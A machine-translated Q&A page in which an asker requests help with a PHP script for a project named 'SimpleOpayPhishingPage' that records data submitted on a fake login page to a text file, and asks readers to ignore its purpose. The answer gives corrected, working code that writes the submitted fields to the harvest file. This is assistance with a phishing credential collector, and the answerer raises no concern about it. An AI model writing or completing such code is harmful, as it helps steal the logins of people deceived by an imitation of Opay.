为什么我的php代码无法将文件写入指定位置?或者有任何地点吗?

问题描述 投票:0回答:1

我尝试制作一个简单的 php 脚本,从登录页面收集用户登录信息,并写入一个名为 v_info.txt 的文件... 但总是返回“无法注册用户信息,如果错误仍然存在,请联系我们”... 我尝试为我的 xampp 提供所有必需的权限,但无济于事。

这是代码:

<!DOCTYPE html>
<html>
    <body>
        <?php
            $vf_name = $vl_name = "";

            if($_SERVER["REQUEST_METHOD"] == "POST"){
                $vf_name = $_POST["fname"];
                $vl_name = $_POST["lname"];
            }

            $log_file = fopen("/web/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Unable to Register user information, If error persists please contact us")
        ?>
    </body>
</html>

不要关注脚本的内容/目的:) ...

php apache permissions xampp
1个回答
0
投票

请检查我的解决方案,也许它适合您!

$vf_name = $vl_name = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $vf_name = htmlspecialchars($_POST["fname"]);
  $vl_name = htmlspecialchars($_POST["lname"]);

  $log_file = fopen("/opt/lampp/htdocs/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Error opening file: " . error_get_last()['message']);
  fwrite($log_file, $vf_name . " " . $vl_name . "\n");
  fclose($log_file);
}
© www.soinside.com 2019 - 2024. All rights reserved.